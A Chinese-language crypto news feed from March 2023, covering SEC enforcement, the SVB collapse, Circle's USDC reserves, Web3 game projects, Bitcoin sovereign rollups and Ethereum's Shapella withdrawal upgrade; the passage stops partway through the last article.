因此，SEC的工作人员已经清楚公司应该如何为代替用户持有的加密资产进行会计处理，并且工作人员已经就加密资产市场参与者最近的破产和财务困境导致的披露义务提供了指导。 我们也很清楚，根据加密平台的一般运作方式，投资顾问今天不能依赖它们作为合格的托管人。 我们还提出了规则，要求所有通过投资顾问投资的资产，包括非基金或证券的加密资产，都由合格的托管人托管。 不过，坦率地说，加密中介机构并没有完全在SEC注册并遵守国会颁布的法律，也许他们的商业模式本来就是不合规的。 一些情形下，有些参与者寻求的是对不合规活动的批准，而不是改变一个根本不合规、充满冲突的商业模式。 当然，我们的另一个工具是通过调查和执法行动根除违规行为。 SEC 已成功提起或解决了 100 多起针对加密中介机构和代币发行人的案件，其中包括一些经营庞氏骗局或金字塔计划、从事非法兜售或实施其他形式欺诈的案件。 我们最近对 FTX 首席执行官和其他高管以及 Terraform 及其创始人提出了欺诈指控。 执法行动需要时间和资源。 这在加密货币领域尤其如此，因为公司通常不合作，尽管向美国投资者提供产品但仍主张海外管辖权，并且有充足的资金来应对旷日持久的诉讼，包括可能使用投资者在其平台内和平台上筹集的资金。 然而，我们将坚定不移地履行我们的使命，根除市场上的不当行为。 一些人批评美国证券交易委员会提起诉讼（甚至只是调查）加密发行人和中介机构的行为。 有人说，我们应该让创新蓬勃发展，否则就是将创新推向海外。 但放弃投资者保护会使人们的毕生积蓄面临风险。 执法是一种工具，而不是目的，目标是让市场参与者遵守法律和规则，并保护我们的“客户”：美国投资者。 事实是这样的：即使中本聪的身份不为人知，规范加密的法条却是清晰的，加密公司要么在法律范围内开展工作，要么就别做。  ( 4 min )
    一文了解kingdomverse：从简单塔防游戏建起手游元宇宙
    随着生活节奏愈加明快，利用碎片化时间即可完成对局的休闲游戏越来越受到人们的青睐。这些游戏通常具有极强的便捷性，不受时间和空间限制，且受众广泛，许多非游戏玩家人群也愿意在通勤、等候及休息时参与其中。极易上手、可玩度高，这也是为什么如塔防游戏《王国保卫战》和《保卫萝卜》长盛不衰，上线十余年仍拥有大批死忠玩家。 根据Facebook Gaming题为Genre and Great Games的报告，玩家愿意参与休闲类游戏通常是基于缓解压力、打发时间、因完成具有挑战性的事情而感到成就感、让自己沉浸在另一个角色或世界中等原因。香港链游工作室Kingdomverse试图综合简单好玩、沉浸感等以上多个要素，打造”手游元宇宙”，他们将焦点重新放回游戏本身，首先推出了塔防游戏《Defend the Kingdom》。 Kingdomverse的创始人Terence在游戏业务开发和运营方面拥有20多年的经验，曾在港台及内地成立游戏公司MAMO Games，也是香港最早一批将 NFT 引入游戏平台的人。在成立 Kingdomverse 之前，他便曾涉足元宇宙，推出供商业品牌进驻，结合 NFT 应用场景的的虚拟世界Air World。在踏入Web3行业前，Terence也曾出任环球唱片公司的大中华地区总监，以及娱乐直播平台17 LIVE的香港区 CEO，该社交媒体由“麻吉大哥”黄立成与其友人在2015年创办，一推出即吸引许多艺人及网络红人使用，全球注册用户至今达到了 5000 万。 Kingdomverse 的孵化团队曾孕育出亚洲热门NFT 项目“Monkey Kingdom”，因而两个项目有多次联动，Monkey Kingdom 的 NFT 持有人也将能得到Kingdomverse的空投及游戏专属特权等大量福利。 今年2月，Kingdomverse宣布完成360万美元的种子轮战略融资，参投方包括Newman Capital、 Chiron Partners 、Shima Capital、Infinity Ventures、Sweeper DAO等。其中 Newman Capital的创始人AdrianLai如今也是Kingdomverse的顾问，同样担任顾问的还有HeadlineAsia的合伙人BrianLu。 Kingdomverse在构建手游元宇宙中迈出的第一步，是于去年推出的休闲类PVP塔防游戏《Defend The Kingdom》（简称DTK）。这款游戏在数月内相继完成内测、公测、上架安卓及苹果应用商店，并采取限时竞赛的方式吸取了一批游戏用家。在传统游戏行业，通过建立游戏内归属感，继而鼓励玩家购买、交易的模式十分常见，也是大多数游戏的基本生存法则。而链游在初面世时恰逢牛市，且由于更侧重于金融属性，普遍采用Play to Earn的盈利模式吸引流量，导致不少人将之视为“赚快钱”的途径，忽视了游戏本身的娱乐性。 Terence认为，GameFi 的本质应该回归游戏。因此，不同于大多数链游在开始游戏前必须首先购买NFT资产、连接加密钱包，DTK延续了塔防类游戏一贯的低门槛、易上手风格，玩家无需进行繁琐的链上操作即可进行游戏。在这种循序渐进的模式下，没有任何基础的传统游戏玩家可以先免费试玩，随后因游戏的趣味性或想要进一步提升游戏体验，便会主动学习建立、连接Fractal钱包及交易NFT和代币等操作。 DTK的基本游戏模式包括对战模式与合作模式，玩家需要挑选5个猴子英雄组成小队，并在地图上有策略地放置英雄，以阻止敌人和boss的进攻。英雄角色分为普通、稀有、史诗和传说四个稀有度级别，其中只有4星的传说级别英雄属于NFT藏品。每个英雄都有不同的特殊技能，稀有度级别越高基础属性值也就越高，玩家还可以收集角色碎片等材料对英雄进行升级和强化，以最大限度发挥其潜力。在没有Play to Earn加持下，DTK仍然通过举办限时竞赛积累了大量游戏玩家，至今积累了超过一万名总活跃玩家，团队在去年 11 月首次推出免费铸造 NFT 角色，2000 多个 NFT 在 20 分钟被一扫而空。 随着游戏剧情的推进，Defend the Kingdom在每个赛季都会更新任务、新boss和英雄。此外，基于 Web3的互操作性理念，他们还将与不同的 IP 和游戏合作，将其它IP的角色带入DTK。在去年的东京电玩展上，Kingdomverse与链游《GensoKishi Online》（元素骑士 Online）达成合作，并将后者的三个游戏角色引入Kingdomverse宇宙，与其他猴子英雄一起参加 DTK 的王国保卫战。今年2月，Kingdomverse又与以太坊 Layer 2 解决方案ImmutableX达成合作，并计划上线ImmutableX，这也将促进Kingdomverse与ImmutableX上的其他 Web3 游戏合作，进一步发展其社区。 Kingdomverse 是一个由相互关联的游戏组成的生态系统，连接在“移动游戏元宇宙”中。除了塔防游戏DTK，Kingdomverse还将为玩家打造社交中心Kingdomverse Mobile Metaverse(KMM)，玩家可在这里互动，组建公会，探索世界，展示他们的奖杯、化身或物品等。而它本身还是一款即时战略游戏，允许玩家通过战斗可赢取更多资源。 在Kingdomverse世界，只有持有王国NFT的玩家才能够建立自己的“王国”，并可与他人合作形成“帝国”。王国NFT供应量且仅支持原生代币 $KING 购买，每个王国本质上都是一块浮岛。那些玩家无法建立自己”王国“的玩家，则可以将NFT角色通过质押系统，入驻其他玩家的“王国”成为国民。Kingdomverse和含Defend The Kingdom在内的手游共享同一个市场， 玩家可在这个市场上交易游戏中/虚拟世界中的NFT物品。 Kingdomverse经济体系中的核心为ERC-20代币$KING，其总供应量为10亿枚，是整个Kingdomverse市场的硬通货。玩家可用之购买手机游戏中的高级游戏物品，例如在DTK中购买传说级英雄、通行证，以及在Kingdomverse中购买实用 NFT 物品，包括王国、化身和建筑物等。此外，$KING也会作为奖励，赠与游戏的赛季锦标赛和Kingdomverse中排行靠前的数百至上千名玩家。$KING 已于今年2月上线加密交易所KuCoin和Gate.io。 Kingdomverse国库将由基金会管理，主要用于发展社区和Kingdomverse生态系统。国库资金将作为奖励分配给合作的工作室和玩家，这激励了其他游戏工作室通过持有$KING 代币加入生态系统。对于早期加入 Kingdomverse 平台的手游开发者，他们将在开发合作中获得 $KING 奖励。 而国库的收入除了来自工作室和创世部分的资金外，还包括游戏与市场上出售NFT和游戏内支出$KING 的抽成，比例分别为5%和10%。 有别于 "Play To Earn"，Kingdomverse 提倡 "Play To Own"，培养玩家对角色和游戏战利品的归属感，让玩家与游戏产生连结，而不是单纯以意转售为目的。在"Play To Own"模式下，玩家可以零成本进入游戏，并将以代币和 NFT 的形式收获游戏内资产的所有权。因此，这些游戏的可玩性和耐玩度就成为关键，游戏必须一开始就很有趣，而且长时间游戏也不会招致厌烦，玩家才能真正花大量时间来赚取游戏内资产。 总而言之，在现代生活节奏下，门槛低、易于上手和游玩时间弹性的游戏很容易脱颖而出，Kingdomverse 团队首发的DTK正式基于这一考量。但正如去年在国内风靡一时的消除游戏《羊了个羊》，休闲游戏的简单、低门槛属性很容易让玩家上瘾，但它也可能适得其反，让人们在玩了一段时间后感到无聊。或许混合搭配不同类型，在保持休闲核心的基础上增加社交功能、收藏系统或复杂的游戏经济是破局的一种办法，Kingdomverse也正在做这样的尝试。  ( 5 min )
    火必NFT市场将于5月13日下线，此前用户需自行提取该平台内的NFT
    PANews 3月10日消息，火必在火必NFT清退通知中表示，由于云钱包战略规划及产品调整，火必NFT市场将于2023年5月13日正式下线，因此用户需自行将在火必NFT内的NFT资产转回自己的链上钱包内。转移截止时间为2023年5月13日，截止时间前所有功能正常使用。截止时间后，火必NFT市场将下架，不再提供相关服务。  ( 4 min )
    硅谷银行爆了，硅谷“炸了”
    来源：华尔街见闻 作者：王眉 周四，美股爆了一个意料之外的大雷。 实力强大、历来运营良好的硅谷银行(Silicon Valley Bank)，周四股价暴跌超过60%，市值一日蒸发94亿美元。 驱动事件 包括Coatue和Founders Fund在内的几家顶级风投公司已向一些投资组合公司建议，随着对硅谷银行稳定性的担忧与日俱增，它们会强烈考虑从该行中撤出资金。 据报道，“硅谷教父”彼得蒂尔联合创立的风险投资基金Founders Fund建议公司从硅谷银行撤资，原因是担心其财务稳定性，并称将资金从该行撤出没有任何不利影响。 与此同时，Union Square Ventures告诉投资组合公司“只在SVB现金账户中保留最少的资金”。 Y Combinator的总裁兼CEO Garry Tan警告其被投初创公司，硅谷银行的偿付能力风险是真实存在的，并暗示他们应该考虑限制对贷方的敞口，最好不要超过25万美元。 Tribe Capital建议众多投资组合公司：如果无法彻底从硅谷银行提取现金的话，也要撤走部分资金。 Activant Capital通过邮件和短信告诉众多投资组合公司的CEO们：鼓励大家将资金从硅谷银行转移到其他银行机构。该公司正帮助部分客户把资本转移到第一共和银行（FRC）。 一些风险投资家和创始人告诉媒体，他们很难转移资金。风险投资公司Launchpad Capital的创始人Ryan Gilbert说硅谷银行网络曾被暂停两个多小时，随后终于联系上了硅谷银行的某个人，对方似乎“拔掉了网线”，之后大部分网络都通了。 其他一些风险投资家则呼吁冷静，暗示真正的问题在于恐慌。据报道，一些风投公司的建议是，把六个月的现金放在其他银行，但除此之外，不要助长可能的银行挤兑。 周四，硅谷银行首席执行官Greg Becker召开了电话会议，建议硅谷银行客户在对该银行财务状况的担忧中“保持冷静”。 当地时间周四早晨，硅谷银行宣布，出售投资组合中的部分证券将导致18亿美元的亏损，并寻求通过出售普通股和优先股募资22.5亿美元，这被华尔街视为是恐慌性的资产抛售和对股权的猛烈稀释。这种自救举措非但没有帮助硅谷银行获得一线生机，反而令硅谷银行暴跌。 分析师指出，硅谷银行的流动性危机把投资者吓坏了，因为该行历来是一家非常强大、运营良好的银行。如果连硅谷银行现在都有了问题，投资者不免会想，其他那些在资产和声誉方面不如硅谷银行的银行会怎么样。 硅谷银行一直是科技和生命科学初创公司中最受欢迎的金融机构之一，市场最担心的是，科技泡沫的破灭恐怕会传导至美国的金融体系，从而，本世纪初的互联网泡沫破裂甚至金融危机将会重演。 富国银行分析师Mike Mayo在一份报告中称，硅谷银行的问题似乎是由“缺乏投资多样化”造成的。更高的利率、对经济衰退的担忧以及IPO市场的冷清，使得初创公司更难筹集资金。华尔街担忧，硅谷银行只是不幸地遇到了所有逆风，但也可能成为酿成危机的第一块多米诺骨牌，就像当年的雷曼兄弟一样。  ( 4 min )
    Circle在硅谷银行存有小部分储备金，其80% USDC储备为美国国债
    PANews 3月10日消息，根据Circle今年1月审计报告内容显示，Circle在美国多家受监管的金融机构中存有储备金，其中包括硅谷银行（Silicon Valley Bank）、Silvergate等。该报告由德勤审查和证明。不过3月4日消息，Circle称已将Silvergate持有的一小部分USDC储备存款转移至其他银行合作伙伴。 Circle 2022年度报告显示，资产储备方面，约80%的USDC储备是3个月期美国国债。到2023年1月底，将转移这些Circle 100%持有的储备由贝莱德管理，由纽约梅隆银行（全球最大的托管人）托管。其余约20%为现金，由8个受美国监管的银行合作伙伴分别持有。这些储备金由德勤每月审查和证明，目前已发布第一份证明报告。 此前今日早些时候消息，硅谷银行母公司SVB Financial Group股价周四暴跌逾60%，盘后进一步下跌近20%。硅谷风投教父Peter Thiel的Founders Fund建议客户从这家银行撤资。此外，有报道称，硅谷银行部分网站瘫痪，数十家风投建议从其撤出资产。  ( 4 min )
    GameFi下半场：盘点8款Web3游戏大制作
    原文：《2023不可错过的大制作web3游戏盘点》 作者：fishman 为下一个“Axie”的形态，做一个猜想。 基于此猜想，当纵观市面上的产品时，惊人的发现欧，美，韩和中国的某些大厂，这些在端游时代取得成功的公司和创业人，都在做相关游戏形态的实现。 这些已经面世或者即将面世的游戏产品，区别于web3短平快的Panzi类小游戏，具备融资金额高，团队规模大，制作周期长等特点，最最重要的是，它可能很好玩。我将这些游戏统称为大制作web3游戏。 那么接下来为大家盘点一下，2023年上线和即将上线的那些不可错过的大制作web3游戏。 Apeiron制作团队来自新加坡游戏公司Foonie Magus，团队在美术风格、战斗场景或是机制设定上都有着丰富的成功经验，受《上帝也疯狂》及《善与恶》等同类游戏的启发，制作了这款结合“ARPG+ Roguelike+卡牌+NFT”的链游。 团队融资近1350万美元，其投资方Hashed 高级合伙人 Joseph Young 谈到 Apeiron 时说：“在 Hashed，我们自 2017 年以来一直支持元宇宙和区块链游戏领域的创新和创意创始人，包括 Axie Infinity 和 Sandbox 等公司。我们相信 Apeiron 的游戏逻辑、虚拟经济和游戏玩法是所有 web 3 中最复杂的。” 2、Trouble Punk Trouble Punk 是一款大逃杀类型的格斗动作游戏，用户可以收集游戏中掉落的点数以在限定时间内获胜。每个游戏最多可以有 8 名玩家加入联盟。免费用户就可以在没有 NFT 或其他加密资产的情况下玩游戏，持有 NFT 或代币玩家可以参与 P2E。游戏集成了ETH、IMX 和 OAS 链。 3、Superior Superior 是一款 roguelite、合作、第三人称射击游戏，由Gala Games发行。其非web3版本已经登录了steam。web3的玩家将通过Steam直接和web2的玩家联通竞技。敢于直接上Steam和其他web2的游戏同台竞技，本身也说明了游戏制作的精良品质。 4、Yuliverse Yuliverse的游戏世界参考了知名AR游戏PokemonGo的形式，以真实世界地图作为世界版图，玩家在角色扮演下通过完成任务P2E，以线上线下结合的形式优化P2E模型。玩家可以在游戏中收获探索、社交和人物养成的乐趣。丰富的主线故事情节也十分引人入胜。 5、TownStory TownStory Galaxy是一款社交经营类游戏，用户可以在游戏中建造自己的小镇，还可以在开放世界中与来自世界各地的玩家进行交流与游戏道具的交易，TownStory的1.0版本将打造成一个web3版本的《动物森友会》，并将会不断升级，最终发展成为一个以社交为主的、集成交易、defi、娱乐等多种基础设施的元宇宙平台。 6、Abyss World 深渊国度《Abyss world》是一款第三人称ARPG游戏。游戏基本是结合开放世界探索玩法的「类魂游戏」，可以自由选择要探索攻略的区域，完成各种主线、支线剧情，而本作的动态任务系统会根据玩家作出的不同行动和决定，改变某些地区人们的结局以及令关卡出现或变化，透过操作不同角色玩家将会创造独一无二的故事。 喜欢丰富故事情节和探索庞大世界观的玩家不容错过。作为魔兽世界深度玩家，看到官方释放的预告片就已经心动了。但是和区块链结合的部分暂时还没有看到，期待官方释放出更多的信息。 7、Undead Blocks Undead Blocks 是一款多人第一人称僵尸射击游戏，玩家扮演幸存者对抗僵尸入侵，喜欢《使命召唤》这款游戏的玩家不要错过。由 Kevuru Games 开发的 Undead Blocks 充分利用了团队在提供令人愉悦和令人上瘾的游戏玩法方面的经验，另外在经济模型上也有独特的创新。 8、Yolofox game Yolofox game是基于“共创”理念打造的旅行放置类休闲游戏，在Yolofox Game中，玩家将会参与游戏内容、文化、玩法的创建和决策，并共享项目收入。团队成员均曾就业于动视暴雪、拳头游戏、育碧、网易等业内头部大厂，有丰富的游戏设计经验。 以上游戏只是web3游戏众多优秀产品的一部分，小编时间经历有限，不能做到每个优秀的游戏都发掘出来，另外好玩也不是衡量web3游戏成功的唯一条件，可能资产市场表现也会一般。小编着重突出了这些游戏的玩法，弱化了游戏的经济系统描述。各位玩家在试玩过程中，避免踩坑。多多在社区交流。 NFTFI经过去年一整年的发展，NFT借贷，租赁，衍生品，碎片化等等飞速发展，诞生了一大批优秀的项目，这些优秀项目将作为Web3游戏的基础设施，反向推动web3游戏的发展；而这些NFTFI的项目，也最需要能为虚拟世界创造真实价值的web3游戏来提供资产，带来巨大的用户。  ( 4 min )
    数据：Voyager过去6周已抛售价值超3.5亿美元的加密资产
    PANews 3月10日消息，加密情报平台Arkham分析称，在过去6周里，Voyager Digital在从其链上资产中抛售价值超过3.5亿美元的加密资产，并使用Binance US、Coinbase和通过Wintermute直接进行场外交易，以清算资产。 此外，仅自3月初以来，Voyager就向做市商和交易所发送了25种不同的加密资产，价值总计1.3888亿美元。Voyager本月前3大清算资产包括超1亿美元的ETH、2583万美元的SHIB以及1122万美元的VGX。 据统计，Voyager剩余的资产价值约为7.6亿美元，其中绝大部分已转换为4.88亿美元USDC，此外还持有1.5122亿美元的ETH，4953万美元的VGX以及4140万美元的SHIB。 据悉，自2月14日以来Voyager几乎每天通过Coinbase出售加密资产。此前3月8日消息，法官批准Binance.US收购Voyager Digital资产，但交易仍需清除监管障碍。  ( 4 min )
    SushiSwap：借贷产品Kashi去年12月已被弃用，请用户尽快取款
    PANews 3月10日消息，去中心化交易所SushiSwap在推特上表示：“借贷产品Kashi在去年12月已被弃用，不再被积极维护。如果用户在Kashi有借贷资金，请尽快取款。” 此前1月2日消息，SushiSwap CTO表示，决定停止开发Kashi和MISO，Q1重点关注DEX流动性。  ( 4 min )
    比特币主权Rollup引争议：技术上可行吗？
    近日，知名比特币最大主义者（BTC maxis）Jameson Lopp 转发了基于比特币网络建立主权 rollup 的想法，随后该想法在比特币以及以太坊社区内引起了大量讨论。 据悉，Rollkit 是一个用于 rollup 的模块化框架，现在，其宣布支持基于比特币网络建立主权 Rollup，而这样做的目的是让 rollup 继承比特币的数据可用性保证和安全保证。理论来说，基于比特币的主权 Rollup 不仅扩大了 rollup 的可能性，而且还有可能帮助在比特币网络上引导一个健康的区块空间费用市场，从而实现更可持续的安全预算。 图片来源：由 Maze AI 生成。 使用 Taproot 在比特币网络上发布数据 2023 年 2 月 1 日，Luxor 矿池挖出了有史以来最大的比特币区块 (#774628)，其大小大约为 4 MB，而其中大部分的区块空间是被 Ordinals 协议用来记录 Taproot Wizards NFT，该项目通过在链上发布图像数据以实现比特币网络上的 NFT。通过 Taproot 升级，比特币 NFT 成为了可能，它允许任意数据的写入。 在引入 Taproot 之前，比特币单笔交易中可以写入的数据被限制在 80 字节以内。Taproot 升级增加了交易可以写入的数据量，从 80 字节增加到一个完整区块的数据量（大约 4MB）。简而言之，将大量数据发布到比特币区块链变得更加容易了。 从那时起，Ordinals 用于 NFT 铭文以及 Taproot 的使用就开始了。Eric Wall 发现，在他发推文时，在比特币网络上发布数据要比以太坊便宜 7 倍。现在，比特币网络上有了成千上万的铭文，那主权 Rollup 以及比特币上的 dapp 生态系统能否也成为可能呢？ Rollkit 是一个用于 Rollup 的模块化框架，开发人员可以在其中插入自定义执行层和数据可用性层。最初，Rollkit 仅支持 Celestia 作为数据可用性和共识层选项。现在，由于 Rollkit 比特币数据可用性模块的早期研究实施，比特币也成为了一种选择。在这种情况下，主权 Rollup 管理自己的执行和结算，同时将共识和数据可用性的任务交给比特币网络。 Rollkit 如何将数据发布到比特币网络 要在比特币网络上写入和读取数据，我们要使用 Taproot 交易。为了促进这一点， Rollkit 实施了一个名为 bitcoin-da‌ 的 Go package‌，它为比特币提供了一个读写器接口。有关界面如何工作以及如何使用 Taproot 的详细信息，请参阅规范‌。这个 package 可以被任何想要在比特币上读取或写入数据的项目重复使用。 Rollkit 以模块化为核心构建，它有一个数据可用性接口，开发人员可以简单地实现特定的方法来添加一个新的数据可用性层。要添加数据可用性层，实施者需要满足定义数据可用性客户端行为的 DataAvailabilityLayerClient 接口以及定义如何同步区块的 BlockRetriever 接口。这些接口位于 da package 中。这些接口中最重要的方法是用于读取和写入区块的 SubmitBlock 和 RetrieveBlock。 比特币网络上的 EVM demo Rollkit 支持自定义执行层，包括 EVM、CosmWasm 或 Cosmos SDK。为了测试集成，Rollkit 在本地比特币测试网络上运行 EVM（使用了 Ethermint） 作为主权 Rollup。请参见下面的演示。 争议 就像 Ordinals 以及比特币 NFT 引起的争议一样，Rollkit 以及基于比特币网络的主权 rollup 想法同样会占用原本就不充裕的比特币区块空间，从而进一步导致比特币网络变得拥挤。 对于很多比较传统的比特币最大主义者（BTC maxis）来说，这样的发展可能是不受欢迎的。 此外，关于使用比特币作为（DA）层的想法，斯坦福大学教授 David Tse 也发表了他的看法： “即使是 4MB 区块，比特币网络的总吞吐量也低于每秒 56 kbits，直接存储数据的空间不大。” 而 Eigenlayer 创始人 Sreeram Kannan ‌则更详细地对该主权 Rollup 的想法发表了他的看法： “我不打算谈这个术语，但想谈谈安全属性，以及它是否能从比特币网络借用安全性。 该系统基本上是让主权 rollup 的客户端直接将交易写入比特币网络，然后在链下解释账本，这是比特币领域一个古老的想法。 安全性（包括安全性和活性）始终是特定确认规则的属性，而不是链的属性。 有四个属性共同决定了一条区块链的安全性：(a) 抗重组能力，(b) 抗审查性，(c) 数据可用性以及 (d) 有效性。 如果我们使用比特币网络作为写入交易的层，那么我们从比特币网络继承了 (a) 、(b) 以及 (c) ，因为新链仅在比特币重组时重组，系统借用比特币网络的抗审查性并且数据可用于比特币全节点。 如果我们为“主权 Rollup ”运行一个全节点，我们可以直接推断有效性。 所以对于一个全节点的确认规则，我们得到了比特币网络的安全性和活性。 如果系统有链下欺诈/有效性证明，那么对于主权 rollup 的轻节点来说，我们也可以继承比特币网络的安全性和活性。 但没有办法在比特币网络上编写主权 rollup 的全节点或轻节点，因此没有验证桥可以从主权 rollup 来回移动资产。 那这有用吗？ 视情况而定。 如果主要目标是安全地传输和使用 BTC，那这绝对是没有用的。 但是，如果目标是构建 NFT 或其他驻留在比特币网络上并以比特币安全性进行链下解释的链，那这绝对是有用的。 那这是高性能的吗？ 并不是。保证比特币安全的唯一方法，是将所有数据写入比特币网络——区块限制为 4MB/10 分钟，因此数据速率为 53kbps。 有没有办法建立与其他区块链的安全跨链桥？ 是的！ 如果接收链（比如以太坊）上有一个 BTC 轻客户端跨链桥，然后接收链上有一个 ZK 证明验证器，那么可以在那里检查“比特币 rollup”的有效性规则。 总而言之，主权 rollup 为本地发行的资产（如新的 NFT 或本地发行的稳定币）保留了比特币网络的安全性，但无法安全地与比特币网络进行跨链连接。 ” 对此，你的看法是什么呢？  ( 5 min )
    MakerDAO创始人提议重塑DAI稳定币品牌，包括设计一个含有美元的新名称
    PANews 3月10日消息，据CoinDesk报道，在周四与社区成员的电话会议上，MakerDAO的创始人Rune Christensen表示，MakerDAO应该重新命名稳定币DAI，让“普通人”更容易理解。Christensen在电话讨论中表示，品牌形象不佳可能会抑制其增长该协议的去中心化计划，即“Endgame Plan（终局计划）”。 Christensen表示：“如果稳定币想吸引普通人，正确名称必须含有USD（美元）。但新名称意味着代币将继续与美元挂钩，而且不能保证一定会挂钩。”他呼吁“彻底重塑品牌、全新名称、全新外观、完全不同的用户获取方法”，并称这是“控制叙事的唯一方法”。他补充说，MakerDAO应该将DAI定位为用户可以用来产生收益的货币。他认为，DAI应该被视为“最安全、最可靠的游戏化加密货币”。并非所有与会者都认可Christensen的论点。  ( 4 min )
    孙宇晨回应HT短时暴跌：火必运营一切正常，盘面现象属市场行为与波动
    PANews 3月10日消息，孙宇晨在推特上表示：“此次火必交易所运营一切正常，钱包正常，运营正常，后台正常。只因为现货、合约HT代币有部分用户触发杠杆连环爆仓的盘面现象。目前各项工作正稳步开展，并无任何突发现象，仅仅属于市场行为与波动。” 据CoinDesk报道，TradingView数据显示，HT在北京时间今日凌晨5时左右在火必交易所从4.81美元的24小时高点跌至0.31美元的低点，短时暴跌93%。其他交易所的价格也出现了类似的下跌。目前HT已回升至3.96美元，24小时跌幅达18%。Kaiko的一名研究人员在推特上写道，就在快速下跌前的五分钟内，HT的销售额达到200万美元。通常情况下，HT-USDT对的购买量约为60万美元。 据Chaincatcher昨日凌晨消息，知情人士披露的火必全员信显示，加密货币交易平台Poloniex多部门将并入火必。包括资产、市场&运营、产品设计、流动性、客服、合规等相关工作的员工将融入火必团队。Poloniex Business Center下设二级部门Engineering与Infrastructure。  ( 4 min )
    深度解析上海升级影响：ETH供应冲击与二阶效应
    作者：Steven Shi，Eco Fund 投资合伙人 编译：Leah Yuan，Foresight News 以太坊或将在一个月内完成其转向权益证明的最终阶段。在即将到来的「Shapella」升级后（一个由「Shanghai」and 「Capella」组成的混成词），超过 1600 万枚质押在信标链上的 ETH 将能够被提款。仅仅这个数字就引起了用户、投资者和交易者的焦虑，他们对 ETH 和其他相关代币供需可能受到的影响感到担忧。 在本报告中，我们将剖析 Shapella 升级的细节，提供升级前需要注意的事项，并给出升级可能会对 ETH、流动质押衍生品和其他应用程序产生影响的最佳估计。 Shapella 升级将允许用户部分或全部提取质押在信标链（Beacon Chain）上的 ETH ，预计将于 3 月底至 4 月初进行。 信标链上已累计超 100 万 ETH 奖励，这些奖励将自动提取，并在大约 5 至 7 天时间内转变为流动性资产。鉴于质押池提供商之间的竞争动态，我们预计这些奖励中约一半会重新质押在信标链上。 信标链上质押了超过 1600 万 ETH 本金。我们预计其中约 280 万 ETH 将被提出，但这只是保守估计，最终结果可能与预估有很大出入。我们预计提取的 ETH 中约 50％ 将通过流动性质押服务商重新转回信标链上。主要受益者包括 Lido Finance，Frax Finance 和 Coinbase。 从长期来看，由于质押 ETH 将变得更加安全，以太坊的质押参与率应该会超过 40％，成为以太坊生态系统中真正的基准利率。 Shapella 还将对 DeFi 应用程序产生连带影响，包括：流动质押提供商、去中心化交易所、借贷协议、元治理项目和重新质押基础设施。Shapella 还可能对 ETH 的供应弹性产生影响，影响其作为交易工具的波动性。 信标链是以太坊 PoS（权益证明）共识的支柱，允许用户通过质押他们的 ETH 来参与区块验证并获得奖励。该链于 2020 年 11 月开始接受存款，并于 2020 年 12 月 1 日正式启动。用户需要质押至少 32 个 ETH 来执行共识工作以获得发行奖励。在合并之前，共识工作仅包括就活跃的验证者及其余额达成共识。合并（Bellatrix升级）之后，验证者需要负责保障网络安全，如区块提议、区块认证和同步委员会参与等。 但自启动以来，质押的 ETH 和奖励一直被锁定在信标链上。因此，超过 1600 万个质押 ETH 和 100 万个 ETH 累计奖励已经被锁定在信标链上两年多。 下个月，以太坊将完成一个名为 Shanghai / Capella 的升级。[共识层的升级以星星命名（Altair,Bellatrix, Capella）,执行层的升级以城市命名。] 即将到来的 Shanghai / Capella 升级中最明显的特点是验证者可以选择提取他们累计的奖励或整个验证者余额。因此，ETH 将从信标链转移到执行层，在执行层中 ETH 是自由流动的，并可用于交易。 请注意，来自优先费用和 MEV 支付的奖励会直接累积到执行层（即以太坊用户当前交易的链）。因此，到 Shapella 升级之前，唯一被锁定的奖励就是共识层的发行奖励。 所有迹象都表明，Shapella 升级将在 3 月底至 4 月初左右进行。目前为止，升级的测试结果是积极的。开发人员在 2 月 28 日成功在 Sepolia 测试网上启动了 Shapella，结果显示只有轻微问题。他们已经完成了在 Zhejiang 公共测试网和主网上的影子分叉的测试。 来源：@terencechain 下一个重要里程碑是在 3 月中旬之前先在 Goerli 上推出 Shapella 升级，然后再在主网上进行升级。 在 Shapella 升级后，将会有两种提款类型： 1.全额提款：这允许验证者完全退出信标链，提取他们的全部 ETH 余额，包括他们最初的 32 ETH 余额及累积的奖励或罚款。 以太坊对每个 epoch（1 个 epoch 包含 32 个区块，大约 6.4 分钟）可以提款的验证者人数设有一个流失限制系数。这个限制会随着信标链上验证者数量的增加而增加。目前，这个流失限制系数是 7。但是随着升级的进行，这个限制可能会变为 8。因此，当升级发生时，每天可以有 1,800 个验证人全额提款，这相当于每天超过 57,600 个 ETH。 2.部分提款：部分提款允许验证者提取 32 ETH 本金以外的余额。验证者将继续活跃在信标链上，同时提取他们已经赚取的收入。因为累积的奖励是闲置资本（即奖励不会自动复利），部分提款盘活了闲置资本，提升了资本效率。如果没有部分提款，验证者将不得不完全退出信标链来领取他们的奖励，然后再次重新进入。因此，将部分提款与全额提款分开有助于提高网络稳定性并防止队列堵塞。 部分提款功能会在升级后自动进行，并平均每周进行一次清扫。每个 slot 将自动进行 16 次部分提款，从信标链的0 个索引开始，即每天大约有 147000 个验证者可以进行部分提现。 升级可能会产生潜在的大规模供应冲击。在升级后的一周内，由于清算部分提款，超过 100 万枚 ETH 将会自动进入流通。这占 ETH 总供应约 0.8%，按今天的价格计算价值约为 16 亿美元。此外，理论上有 1680 万枚 ETH 也可能被提取。 这些数据引起了一些恐慌情绪。有一种说法正在酝酿，认为市场可能会看到大规模的倾销，因为超两年不能流动的 ETH 被允许提款。 但是这些担忧可能有些夸大其词。在下面，我们将介绍部分提款和全额提款的动态，以更好地说明 Shapella 升级后提款的运作方式，并说明 ETH 的供应冲击可能并不像上方数据所暗示的那样极端。 请注意，我们的估计是粗略的数字，我们的估计受到很多不确定性因素的影响。我们的分析涉及到许多假设，但文中估计的具体数字肯定不准确。尽管如此，我们希望这份报告能够为大家的思考提供素材，我们鼓励大家进一步参与讨论和分析。 总体来说，超过 100 万枚累计 ETH 奖励将自动变为流动性资产。由于每个区块有 16 个部分提款的验证者队列，部分提款的提款人必须先变换其提款凭据，然后才能收到这些累计奖励，因此需要五到七天时间，才能使所有部分提款在执行层变为流动性资产。 但即使假设大多数验证者都保守并希望在执行层上持有流动性 ETH，也有一些结构动态促使他们将这些奖励重新质押到信标链上。 53% 的累计奖励来自提供流动质押代币（「LSTs」）的质押池。主要的 LSTs 由相对分散的质押提供者（如 Lido 和 Rocket Pool）或中心化的托管人（如 Coinbase 和 Binance）提供。LSTs 的公平市场价格因提供者而异，Rocket Pool 的 rETH 溢价为 +1.3%，而 Ankr 的 ankrETH 折扣为 -3.0%。大多数 LSTs 的价格在 -0.1% 到 -2.0% 的折扣范围内波动，中心化托管人的 LSTs 通常折价更大。 来源: Project website, Defillama, CoinGecko, 